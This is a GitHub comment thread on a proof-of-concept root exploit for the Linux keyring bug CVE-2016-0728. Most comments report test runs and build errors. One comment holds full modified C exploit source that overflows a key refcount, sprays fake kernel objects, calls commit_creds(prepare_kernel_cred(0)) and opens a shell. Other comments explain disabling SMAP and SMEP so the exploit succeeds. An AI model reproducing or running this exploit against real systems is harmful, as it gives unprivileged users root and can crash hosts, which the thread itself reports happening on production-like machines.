Show comment
Hide comment
@nardholio

nardholio Jan 22, 2016

@birdstream kernel 3.4 is not affected

@birdstream kernel 3.4 is not affected

@2opremio

This comment has been minimized.

Show comment
Hide comment
@2opremio

2opremio Jan 22, 2016

@matlink You need to be root to read /proc/kallsyms. In fact, if you don't have root privileges, should you really be running the exploit?

@matlink You need to be root to read /proc/kallsyms. In fact, if you don't have root privileges, should you really be running the exploit?

@nilsmeyer

This comment has been minimized.

Show comment
Hide comment
@nilsmeyer

nilsmeyer Jan 22, 2016

Apart from the strange looking code (tabs and spaces mix-up perhaps?), I have yet to see a system where this exploit actually works. Either it is broken or this is all FUD.

Apart from the strange looking code (tabs and spaces mix-up perhaps?), I have yet to see a system where this exploit actually works. Either it is broken or this is all FUD.

@birdstream

This comment has been minimized.

Show comment
Hide comment
@birdstream

birdstream Jan 22, 2016

@nardholio I'm aware of that. But the difference is that on my Ubuntu desktop i could see the refcount go up (but still did not get root access in the end though). On my phone however it was only referenced 3 times and then the process ended up getting the D state... So i'm wondering if that is to be expected or i messed up when compiling it? There were some warning about regparm being ignored and some "spill on implicit...". But it did produce a working ARM binary

@nardholio I'm aware of that. But the difference is that on my Ubuntu desktop i could see the refcount go up (but still did not get root access in the end though). On my phone however it was only referenced 3 times and then the process ended up getting the D state... So i'm wondering if that is to be expected or i messed up when compiling it? There were some warning about regparm being ignored and some "spill on implicit...". But it did produce a working ARM binary

@nicStuff

This comment has been minimized.

Show comment
Hide comment
@nicStuff

nicStuff Jan 22, 2016

Is it safe to run this PoC in production environment for checking if the patch has been applied?

Is it safe to run this PoC in production environment for checking if the patch has been applied?

@petermaloney

This comment has been minimized.

Show comment
Hide comment
@petermaloney

petermaloney Jan 22, 2016

With kernel 4.1.6 and grsecurity, not exploitable via overflow (but still leaks) :)

$ ./cve_2016_0728 123
uid=1000, euid=1000
Increfing...
Killed

[701688.047029] PAX: refcount overflow detected in: cve_2016_0728:15567, uid/euid: 1000/1000
[701688.047035] CPU: 2 PID: 15567 Comm: cve_2016_0728 Tainted: G I 4.1.6-1-grsec-kvm-host #29
[701688.047036] Hardware name: System manufacturer System Product Name/P6T WS PRO, BIOS 0603 02/26/2009
[701688.047039] task: ffff8801b7642c80 ti: ffff8801b76430b8 task.ti: ffff8801b76430b8
[701688.047040] RIP: 0010:[] [] find_keyring_by_name+0xdd/0x160
[701688.047047] RSP: 0018:ffffc90005dc3dd8 EFLAGS: 00000a16
[701688.047048] RAX: 0000000000000000 RBX: ffff8805f6346000 RCX: 000000007fffffff
[701688.047049] RDX: 000000007fffffff RSI: ffff8803544772c0 RDI: ffff8805f6346000
[701688.047050] RBP: ffffc90005dc3e08 R08: 0000000000000ffe R09: ffff880228ad5480
[701688.047051] R10: 0000000000000000 R11: 8080808080808080 R12: ffff8805d4240998
[701688.047052] R13: 0000000000000000 R14: ffff8801b7642c80 R15: ffffffff81d1d8c0
[701688.047054] FS: 00006b2d87d46700(0000) GS:ffff88063fc40000(0000) knlGS:0000000000000000
[701688.047055] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[701688.047056] CR2: 000061f3b08c5000 CR3: 00000005a6046000 CR4: 00000000000006f0
[701688.047057] Stack:
[701688.047058] ffff8803544772c0 ffff8805d4240998 ffff8805d4240998 ffff88046069ac00
[701688.047061] 00006b2d876adcf9 ffff8803544772c0 ffffc90005dc3e58 ffffffff812b4f59
[701688.047063] 00006b2d876adcf9 00006b2d87d46700 ffffc90005dc3e58 ffff8805d4240998
[701688.047065] Call Trace:
[701688.047068] [] join_session_keyring+0x59/0x190
[701688.047071] [] keyctl_join_session_keyring+0x37/0x60
[701688.047072] [] SyS_keyctl+0x208/0x220
[701688.047076] [] system_call_fastpath+0x12/0x85
[701688.047078] [] ? int_with_check+0x23/0x28
[701688.047079] Code: e5 48 8b bb 88 00 00 00 4c 89 e6 e8 7e cf 07 00 85 c0 75 d2 45 84 ed 74 55 8b 13 85 d2 74 c7 89 d1 83 c1 01 71 05 83 e9 01 cd 04 <89> d0 f0 0f b1 0b 39 d0 75 59 e8 74 37 e4 ff 48 89 43 60 48 c7

With kernel 4.1.6 and grsecurity, not exploitable via overflow (but still leaks) :)

$ ./cve_2016_0728 123
uid=1000, euid=1000
Increfing...
Killed

[701688.047029] PAX: refcount overflow detected in: cve_2016_0728:15567, uid/euid: 1000/1000
[701688.047035] CPU: 2 PID: 15567 Comm: cve_2016_0728 Tainted: G I 4.1.6-1-grsec-kvm-host #29
[701688.047036] Hardware name: System manufacturer System Product Name/P6T WS PRO, BIOS 0603 02/26/2009
[701688.047039] task: ffff8801b7642c80 ti: ffff8801b76430b8 task.ti: ffff8801b76430b8
[701688.047040] RIP: 0010:[] [] find_keyring_by_name+0xdd/0x160
[701688.047047] RSP: 0018:ffffc90005dc3dd8 EFLAGS: 00000a16
[701688.047048] RAX: 0000000000000000 RBX: ffff8805f6346000 RCX: 000000007fffffff
[701688.047049] RDX: 000000007fffffff RSI: ffff8803544772c0 RDI: ffff8805f6346000
[701688.047050] RBP: ffffc90005dc3e08 R08: 0000000000000ffe R09: ffff880228ad5480
[701688.047051] R10: 0000000000000000 R11: 8080808080808080 R12: ffff8805d4240998
[701688.047052] R13: 0000000000000000 R14: ffff8801b7642c80 R15: ffffffff81d1d8c0
[701688.047054] FS: 00006b2d87d46700(0000) GS:ffff88063fc40000(0000) knlGS:0000000000000000
[701688.047055] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[701688.047056] CR2: 000061f3b08c5000 CR3: 00000005a6046000 CR4: 00000000000006f0
[701688.047057] Stack:
[701688.047058] ffff8803544772c0 ffff8805d4240998 ffff8805d4240998 ffff88046069ac00
[701688.047061] 00006b2d876adcf9 ffff8803544772c0 ffffc90005dc3e58 ffffffff812b4f59
[701688.047063] 00006b2d876adcf9 00006b2d87d46700 ffffc90005dc3e58 ffff8805d4240998
[701688.047065] Call Trace:
[701688.047068] [] join_session_keyring+0x59/0x190
[701688.047071] [] keyctl_join_session_keyring+0x37/0x60
[701688.047072] [] SyS_keyctl+0x208/0x220
[701688.047076] [] system_call_fastpath+0x12/0x85
[701688.047078] [] ? int_with_check+0x23/0x28
[701688.047079] Code: e5 48 8b bb 88 00 00 00 4c 89 e6 e8 7e cf 07 00 85 c0 75 d2 45 84 ed 74 55 8b 13 85 d2 74 c7 89 d1 83 c1 01 71 05 83 e9 01 cd 04 <89> d0 f0 0f b1 0b 39 d0 75 59 e8 74 37 e4 ff 48 89 43 60 48 c7

@dac4755

This comment has been minimized.

Show comment
Hide comment
@dac4755

dac4755 Jan 22, 2016

There were earlier comments on the time it takes to run. I have built the poc code for my S4 and I added a counter so I can make a rough estimate on how long it will take to perform the increfing loop. It's looking like it will take over 100 days. Has anyone actually run the poc on an android device? If so, how long did it take to run even if it didn't get root? I'm trying to figure out if I'm doing something wrong or if the exploit isn't practical at least on older devices.

thanks,
d

dac4755 commented Jan 22, 2016

There were earlier comments on the time it takes to run. I have built the poc code for my S4 and I added a counter so I can make a rough estimate on how long it will take to perform the increfing loop. It's looking like it will take over 100 days. Has anyone actually run the poc on an android device? If so, how long did it take to run even if it didn't get root? I'm trying to figure out if I'm doing something wrong or if the exploit isn't practical at least on older devices.

thanks,
d

@hidefromkgb

This comment has been minimized.

Show comment
Hide comment
@hidefromkgb

hidefromkgb Jan 23, 2016

Doesn`t work on Arch Linux:

$ ./cve_2016_0728 PP_KEY
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
sh-4.3$ uname -r
4.3.3-2-ARCH
sh-4.3$ shutdown -h now
shutdown: you must be root to do that!

Doesn`t work on Arch Linux:

$ ./cve_2016_0728 PP_KEY
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
sh-4.3$ uname -r
4.3.3-2-ARCH
sh-4.3$ shutdown -h now
shutdown: you must be root to do that!
@birdstream

This comment has been minimized.

Show comment
Hide comment
@birdstream

birdstream Jan 24, 2016

@dac4755 did your process spend most of it's time in the D-state, using just about 1% cpu? it did on mine but im not sure i compiled it right.. got some warnings. Mine is also an S4...

@dac4755 did your process spend most of it's time in the D-state, using just about 1% cpu? it did on mine but im not sure i compiled it right.. got some warnings. Mine is also an S4...

@oneno

This comment has been minimized.

Show comment
Hide comment
@oneno

oneno Jan 24, 2016

Getting the following error when try to build in manjaro 4.1:

||=== Build: Debug in exploit (compiler: GNU GCC Compiler) ===|
/home/guest/Documents/Develop/Cpp/Projects/CVE-2016-0728/exploit/main.cpp||In function ‘int main(int, const char*)’:|
/home/guest/Documents/Develop/Cpp/Projects/CVE-2016-0728/exploit/main.cpp|62|error: invalid conversion from ‘void
’ to ‘key_type*’ [-fpermissive]|
||=== Build failed: 1 error(s), 0 warning(s) (0 minute(s), 0 second(s)) ===|

oneno commented Jan 24, 2016

Getting the following error when try to build in manjaro 4.1:

||=== Build: Debug in exploit (compiler: GNU GCC Compiler) ===|
/home/guest/Documents/Develop/Cpp/Projects/CVE-2016-0728/exploit/main.cpp||In function ‘int main(int, const char*)’:|
/home/guest/Documents/Develop/Cpp/Projects/CVE-2016-0728/exploit/main.cpp|62|error: invalid conversion from ‘void
’ to ‘key_type*’ [-fpermissive]|
||=== Build failed: 1 error(s), 0 warning(s) (0 minute(s), 0 second(s)) ===|

@dac4755

This comment has been minimized.

Show comment
Hide comment
@dac4755

dac4755 Jan 24, 2016

@birdstream, It was cranking away, just really slowly. I added a counter for every 1000 iterations and it was taking 3-5 seconds. In contrast, on a Linux VM it cranked through the entire refcount loop in a reasonable time (I think it was 5 to 10 minutes).

dac4755 commented Jan 24, 2016

@birdstream, It was cranking away, just really slowly. I added a counter for every 1000 iterations and it was taking 3-5 seconds. In contrast, on a Linux VM it cranked through the entire refcount loop in a reasonable time (I think it was 5 to 10 minutes).

@daviribeiro

This comment has been minimized.

Show comment
Hide comment
@daviribeiro

daviribeiro Jan 25, 2016

Doesn't work on Kali Linux in compile time. Needs keyutils pack to compile.
If this POC is the base for the sec failure, if almost systems doesn't have this one installed, it don't will working.
Btw, I'll testing inCetOS and Fedora soon.

Doesn't work on Kali Linux in compile time. Needs keyutils pack to compile.
If this POC is the base for the sec failure, if almost systems doesn't have this one installed, it don't will working.
Btw, I'll testing inCetOS and Fedora soon.

@QkiZMR

This comment has been minimized.

Show comment
Hide comment
@QkiZMR

QkiZMR Jan 25, 2016

I'm trying to compile it and nothing happen. Binary is not created.

QkiZMR commented Jan 25, 2016

I'm trying to compile it and nothing happen. Binary is not created.

@Afteroot

This comment has been minimized.

Show comment
Hide comment
@Afteroot

Afteroot Jan 26, 2016

Dont Work on:
OS: ubuntu Ubuntu 14.04 trusty
Kernel: x86_64 Linux 3.13.0-76-generic
CPU: Intel Core i7-5500U CPU @ 2.4GHz

Dont Work on:
OS: ubuntu Ubuntu 14.04 trusty
Kernel: x86_64 Linux 3.13.0-76-generic
CPU: Intel Core i7-5500U CPU @ 2.4GHz

@tfroidcoeur

This comment has been minimized.

Show comment
Hide comment
@tfroidcoeur

tfroidcoeur Jan 27, 2016

I don't quite understand how the refcount ends at 0:
I count 1 refcount at line 89
0xfffffffc more refcounts in the for loop at 102
and finally five more refcounts in the last loop at 114

so the refcount ends at 2 after wrapping around?

I don't quite understand how the refcount ends at 0:
I count 1 refcount at line 89
0xfffffffc more refcounts in the for loop at 102
and finally five more refcounts in the last loop at 114

so the refcount ends at 2 after wrapping around?

@snorez

This comment has been minimized.

Show comment
Hide comment
@snorez

snorez Jan 28, 2016

It seems that this POC fails a lot, and after running it, the key still exists via /proc/keys and the count is about 64...
I modify the loop count and some other code, then, it fails again and again, but I also get these results that runs in a virtual machine which is ubuntu 14.04 with 3.18.25 without smap & smep.
cve-2016-0728 5days 00
cve-2016-0728 5days 01
then the vm freeze.

when I run the modified exp in kali 2.0 with kernel-3.18.24(no smap no smep), the keyctl_revoke return ENOKEY,

snorez commented Jan 28, 2016

It seems that this POC fails a lot, and after running it, the key still exists via /proc/keys and the count is about 64...
I modify the loop count and some other code, then, it fails again and again, but I also get these results that runs in a virtual machine which is ubuntu 14.04 with 3.18.25 without smap & smep.
cve-2016-0728 5days 00
cve-2016-0728 5days 01
then the vm freeze.

when I run the modified exp in kali 2.0 with kernel-3.18.24(no smap no smep), the keyctl_revoke return ENOKEY,

@itmox

This comment has been minimized.

Show comment
Hide comment
@itmox

itmox Jan 28, 2016

@mah0ne, could you provide your changed code?

itmox commented Jan 28, 2016

@mah0ne, could you provide your changed code?

@snorez

This comment has been minimized.

Show comment
Hide comment
@snorez

snorez Jan 28, 2016

@itmox just a small change, I decrease the 2nd "for" loop counter, cause it seems that when refcount = 0, the next join_session_keyring will alloc a new obj with the original name, then keyctl_revoke will call the new obj ->type->revoke. but when the refcount is 0 and GC free the obj, sometime keyctl_revoke return ENOKEY,


#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <sys/ipc.h>
#include <sys/msg.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
/* TODO the address */
_commit_creds commit_creds = (_commit_creds)0xffffffff81091a70;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)0xffffffff81091d70;

struct key_type {
    const char *name;
    size_t def_datalen;
    void *vet_desc;
    void *preparse;
    void *free_preparse;
    void *instantiate;
    void *update;
    void *match_preparse;
    void *match_free;
    void *revoke;
    void *destroy;
};

/* key_revoke(struct key *key) */
void exploit(void *key)
{
    commit_creds(prepare_kernel_cred(0));
}

int main(int argc, char *argv[])
{
    if (argc != 2) {
        fprintf(stderr, "usage: %s <key>", argv[0]);
        return -1;
    }

    int pid;
    size_t i = 0;
    unsigned long l = 0x100000000/2;
    key_serial_t serial = -1;

    /* prepare key_type structure */
    struct key_type *m_key = malloc(sizeof(struct key_type));
    m_key->revoke = (void *)exploit;

    /* set msg_msg structure, is 0xb8 size */
    int msgid;
    struct msg_tail {
        long mtype;
        char mtext[0xb8-0x30];
    } msgp = {0x4141414141414141, {0}};

    memset(msgp.mtext, 'A', sizeof(msgp.mtext));
    *(int *)(&msgp.mtext[56]) = geteuid();/* key->uid */
    *(unsigned long *)(&msgp.mtext[72]) = 0x9;/* key->flag */
    *(int *)(&msgp.mtext[64]) = 0x3f3f3f3f;/* key->perm */
    *(unsigned long *)(&msgp.mtext[80]) = (unsigned long)m_key;
    if ((msgid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
        perror("[-] msgget");
        return -1;
    }

    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, argv[1]);
    if (serial < 0) {
        perror("keyctl");
        return -1;
    }

    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL |
           KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
        perror("keyctl");
        return -1;
    }

    printf("uid = %d, euid = %d\n", getuid(), geteuid());
    fprintf(stderr, "[+] increfs...\n");
    for (i = 1; i < 0xfffffffd; i++) {
        if (i == (0xffffffffUL - l)) {
            sleep(5);
            l = l/2;
        }
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, argv[1]) < 0) {
            perror("keyctl");
            return -1;
        }
    }
    sleep(5);

    for (i = 0; i < 3; i++) {
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, argv[1]) < 0) {
            perror("keyctl");
            return -1;
        }
    }
    fprintf(stderr, "[+] finish increfs\n");
    sleep(9);

    fprintf(stderr, "[+] fork...\n");
    for (i = 0; i < 64; i++) {
        pid = fork();
        if (pid == -1) {
            perror("[-] fork");
            return -1;
        }

        if (pid == 0) {
            sleep(2);
            if ((msgid = msgget(IPC_PRIVATE, 0644 |
                        IPC_CREAT)) == -1) {
                perror("[-] msgget");
                exit(1);
            }
            for (i = 0; i < 256; i++) {
                if (msgsnd(msgid, &msgp,
                       sizeof(msgp.mtext), 0) == -1) {
                    perror("[-] msgsnd");
                    exit(1);
                }
            }
            sleep(-1);
            exit(1);
        }
    }

    fprintf(stderr, "exploit...\n");
    sleep(5);
    if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1)
        perror("[+] keyctl_revoke");

    printf("uid = %d, euid = %d\n", getuid(), geteuid());
    execl("/bin/sh", "/bin/sh", NULL);
    return 0;

snorez commented Jan 28, 2016

@itmox just a small change, I decrease the 2nd "for" loop counter, cause it seems that when refcount = 0, the next join_session_keyring will alloc a new obj with the original name, then keyctl_revoke will call the new obj ->type->revoke. but when the refcount is 0 and GC free the obj, sometime keyctl_revoke return ENOKEY,


#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <sys/ipc.h>
#include <sys/msg.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
/* TODO the address */
_commit_creds commit_creds = (_commit_creds)0xffffffff81091a70;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)0xffffffff81091d70;

struct key_type {
    const char *name;
    size_t def_datalen;
    void *vet_desc;
    void *preparse;
    void *free_preparse;
    void *instantiate;
    void *update;
    void *match_preparse;
    void *match_free;
    void *revoke;
    void *destroy;
};

/* key_revoke(struct key *key) */
void exploit(void *key)
{
    commit_creds(prepare_kernel_cred(0));
}

int main(int argc, char *argv[])
{
    if (argc != 2) {
        fprintf(stderr, "usage: %s <key>", argv[0]);
        return -1;
    }

    int pid;
    size_t i = 0;
    unsigned long l = 0x100000000/2;
    key_serial_t serial = -1;

    /* prepare key_type structure */
    struct key_type *m_key = malloc(sizeof(struct key_type));
    m_key->revoke = (void *)exploit;

    /* set msg_msg structure, is 0xb8 size */
    int msgid;
    struct msg_tail {
        long mtype;
        char mtext[0xb8-0x30];
    } msgp = {0x4141414141414141, {0}};

    memset(msgp.mtext, 'A', sizeof(msgp.mtext));
    *(int *)(&msgp.mtext[56]) = geteuid();/* key->uid */
    *(unsigned long *)(&msgp.mtext[72]) = 0x9;/* key->flag */
    *(int *)(&msgp.mtext[64]) = 0x3f3f3f3f;/* key->perm */
    *(unsigned long *)(&msgp.mtext[80]) = (unsigned long)m_key;
    if ((msgid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
        perror("[-] msgget");
        return -1;
    }

    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, argv[1]);
    if (serial < 0) {
        perror("keyctl");
        return -1;
    }

    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL |
           KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
        perror("keyctl");
        return -1;
    }

    printf("uid = %d, euid = %d\n", getuid(), geteuid());
    fprintf(stderr, "[+] increfs...\n");
    for (i = 1; i < 0xfffffffd; i++) {
        if (i == (0xffffffffUL - l)) {
            sleep(5);
            l = l/2;
        }
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, argv[1]) < 0) {
            perror("keyctl");
            return -1;
        }
    }
    sleep(5);

    for (i = 0; i < 3; i++) {
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, argv[1]) < 0) {
            perror("keyctl");
            return -1;
        }
    }
    fprintf(stderr, "[+] finish increfs\n");
    sleep(9);

    fprintf(stderr, "[+] fork...\n");
    for (i = 0; i < 64; i++) {
        pid = fork();
        if (pid == -1) {
            perror("[-] fork");
            return -1;
        }

        if (pid == 0) {
            sleep(2);
            if ((msgid = msgget(IPC_PRIVATE, 0644 |
                        IPC_CREAT)) == -1) {
                perror("[-] msgget");
                exit(1);
            }
            for (i = 0; i < 256; i++) {
                if (msgsnd(msgid, &msgp,
                       sizeof(msgp.mtext), 0) == -1) {
                    perror("[-] msgsnd");
                    exit(1);
                }
            }
            sleep(-1);
            exit(1);
        }
    }

    fprintf(stderr, "exploit...\n");
    sleep(5);
    if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1)
        perror("[+] keyctl_revoke");

    printf("uid = %d, euid = %d\n", getuid(), geteuid());
    execl("/bin/sh", "/bin/sh", NULL);
    return 0;

@itmox

This comment has been minimized.

Show comment
Hide comment
@itmox

itmox Jan 28, 2016

@mah0ne how did you deactivate smap and smep? Thanks.

itmox commented Jan 28, 2016

@mah0ne how did you deactivate smap and smep? Thanks.

@snorez

This comment has been minimized.

Show comment
Hide comment
@snorez

snorez Jan 29, 2016

@itmox I recompile the kernel,
check SMAP in .config and comment the line "CONFIG_X86_SMAP=y" then "make oldconfig",
after the new kernel done, append "nosmep" to the boot options in file /boot/grub/grub.cfg (Ubuntu)

snorez commented Jan 29, 2016

@itmox I recompile the kernel,
check SMAP in .config and comment the line "CONFIG_X86_SMAP=y" then "make oldconfig",
after the new kernel done, append "nosmep" to the boot options in file /boot/grub/grub.cfg (Ubuntu)

@vnavin4

This comment has been minimized.

Show comment
Hide comment
@vnavin4

vnavin4 Feb 10, 2016

Don't work on "Oracle Linux Server 6.7"
Kernel: 3.8.13-118.3.1.el6uek.x86_64

[tstuser1@oracle65-1 exploit-cve-2016-0728]$ ./cve_2016_0728 PP1
uid=500, euid=500
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=500, euid=500
sh-4.1$

vnavin4 commented Feb 10, 2016

Don't work on "Oracle Linux Server 6.7"
Kernel: 3.8.13-118.3.1.el6uek.x86_64

[tstuser1@oracle65-1 exploit-cve-2016-0728]$ ./cve_2016_0728 PP1
uid=500, euid=500
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=500, euid=500
sh-4.1$

@gqbnm0

This comment has been minimized.

Show comment
Hide comment
@gqbnm0

gqbnm0 Feb 11, 2016

Is it safe to run this PoC in production environment for checking if the patch has been applied?

no. Never this sort of test on a production host. With the following in mind, I need more sane testing conditions.
I've tested twice:

  • on Manjaro (arch fork) with 3.18 kernel, and it panic'd (locked the system)
  • on CentOS 7 with kernel 3.10, it caused a reboot.

gqbnm0 commented Feb 11, 2016

Is it safe to run this PoC in production environment for checking if the patch has been applied?

no. Never this sort of test on a production host. With the following in mind, I need more sane testing conditions.
I've tested twice:

  • on Manjaro (arch fork) with 3.18 kernel, and it panic'd (locked the system)
  • on CentOS 7 with kernel 3.10, it caused a reboot.
@niubl

This comment has been minimized.

Show comment
Hide comment
@niubl

niubl Feb 17, 2016

  • filehelper_1455702738105_91

i use @mah0ne 's kernel number and success to exploit.
ubuntu 14.04.1 x64 then download kernel 3.18.25 and compile and install.
shutdown smap in menuconfig
shutdown smep by edit /boot/grub/grub.cfg

niubl commented Feb 17, 2016

  • filehelper_1455702738105_91

i use @mah0ne 's kernel number and success to exploit.
ubuntu 14.04.1 x64 then download kernel 3.18.25 and compile and install.
shutdown smap in menuconfig
shutdown smep by edit /boot/grub/grub.cfg

@idlefire

This comment has been minimized.

Show comment
Hide comment
@idlefire

idlefire Apr 26, 2016

Deletion keyutils.h, who can give me a document.
thank you..

Deletion keyutils.h, who can give me a document.
thank you..

@dpproduction

This comment has been minimized.

Show comment
Hide comment
@dpproduction

dpproduction Jun 7, 2016

dimon@dimon-BAZA:~$ ./cve_2016_0728 PP1
[+] uid=1000, euid=1000
[+] Resolved commit_creds to (nil)
[+] Resolved prepare_kernel_cred to (nil)
[-] You probably need to change the address of commit_creds and prepare_kernel_cred in source
[+] Increfing...

[+] Finished increfing
[+] Forking...
[+] Finished forking
[+] Caling revoke...
uid=1000, euid=1000
$ $ whoami
dimon
$

Whats wrong ?

dimon@dimon-BAZA:~$ ./cve_2016_0728 PP1
[+] uid=1000, euid=1000
[+] Resolved commit_creds to (nil)
[+] Resolved prepare_kernel_cred to (nil)
[-] You probably need to change the address of commit_creds and prepare_kernel_cred in source
[+] Increfing...

[+] Finished increfing
[+] Forking...
[+] Finished forking
[+] Caling revoke...
uid=1000, euid=1000
$ $ whoami
dimon
$

Whats wrong ?

@dpproduction

This comment has been minimized.

Show comment
Hide comment
@dpproduction

dpproduction Jun 7, 2016

So I compiled the latest version and get the same result
dimon@dimon-BAZA:~$ ./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
$ whoami
dimon
$ reboot
reboot: Need to be root
$

So I compiled the latest version and get the same result
dimon@dimon-BAZA:~$ ./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
$ whoami
dimon
$ reboot
reboot: Need to be root
$

@MatanTubul

This comment has been minimized.

Show comment
Hide comment
@MatanTubul

MatanTubul Dec 28, 2016

i got the following error in android 7.1.1 in nexus6p:

"/system/bin/sh: ./cve_2016_0728: not executable: 64-bit ELF file"

i got the following error in android 7.1.1 in nexus6p:

"/system/bin/sh: ./cve_2016_0728: not executable: 64-bit ELF file"

@MatanTubul

This comment has been minimized.

Show comment
Hide comment
@MatanTubul

MatanTubul Dec 28, 2016

@bactis can you please publish your final exploit including the make file?

@bactis can you please publish your final exploit including the make file?

@MatanTubul

This comment has been minimized.

Show comment
Hide comment
@MatanTubul

MatanTubul Dec 29, 2016

@bactis
i attached here my make file and android.mk.
currently i get the following error:

ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16
make[1]: Entering directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
[armeabi] Compile thumb  : dirtycow <= cve_2016_0728.c
./cve_2016_0728.c:14:21: fatal error: sys/msg.h: No such file or directory
 #include <sys/msg.h>
                     ^
compilation terminated.
make[1]: *** [obj/local/armeabi/objs/dirtycow/cve_2016_0728.o] Error 1
make[1]: Leaving directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
Makefile:5: recipe for target 'build' failed
make: *** [build] Error 2




MatanTubul commented Dec 29, 2016

@bactis
i attached here my make file and android.mk.
currently i get the following error:

ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16
make[1]: Entering directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
[armeabi] Compile thumb  : dirtycow <= cve_2016_0728.c
./cve_2016_0728.c:14:21: fatal error: sys/msg.h: No such file or directory
 #include <sys/msg.h>
                     ^
compilation terminated.
make[1]: *** [obj/local/armeabi/objs/dirtycow/cve_2016_0728.o] Error 1
make[1]: Leaving directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
Makefile:5: recipe for target 'build' failed
make: *** [build] Error 2




@MatanTubul

This comment has been minimized.

Show comment
Hide comment
@MatanTubul

MatanTubul Dec 29, 2016

@bactis
i attached here the android.mk and make file.
currently this is the error i get:

make
mk_file

ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16
make[1]: Entering directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
[armeabi] Compile thumb  : dirtycow <= cve_2016_0728.c
./cve_2016_0728.c:14:21: fatal error: sys/msg.h: No such file or directory
 #include <sys/msg.h>
                     ^
compilation terminated.
make[1]: *** [obj/local/armeabi/objs/dirtycow/cve_2016_0728.o] Error 1
make[1]: Leaving directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
Makefile:5: recipe for target 'build' failed
make: *** [build] Error 2





MatanTubul commented Dec 29, 2016

@bactis
i attached here the android.mk and make file.
currently this is the error i get:

make
mk_file

ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16
make[1]: Entering directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
[armeabi] Compile thumb  : dirtycow <= cve_2016_0728.c
./cve_2016_0728.c:14:21: fatal error: sys/msg.h: No such file or directory
 #include <sys/msg.h>
                     ^
compilation terminated.
make[1]: *** [obj/local/armeabi/objs/dirtycow/cve_2016_0728.o] Error 1
make[1]: Leaving directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
Makefile:5: recipe for target 'build' failed
make: *** [build] Error 2





@ofnothinghere

This comment has been minimized.

Show comment
Hide comment
@ofnothinghere

ofnothinghere Feb 18, 2017

Linux-4.1.12
'''$ ./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
sh-4.3$'''
memes

wallpaper
i use @mah0ne 's kernel number and success to exploit.
gif

quotes
ubuntu 14.04.1 x64 then download kernel 3.18.25 and compile and install.
shutdown smap in menuconfig
shutdown smep by edit /boot/grub/grub.cfg

Linux-4.1.12
'''$ ./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
sh-4.3$'''
memes

wallpaper
i use @mah0ne 's kernel number and success to exploit.
gif

quotes
ubuntu 14.04.1 x64 then download kernel 3.18.25 and compile and install.
shutdown smap in menuconfig
shutdown smep by edit /boot/grub/grub.cfg

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment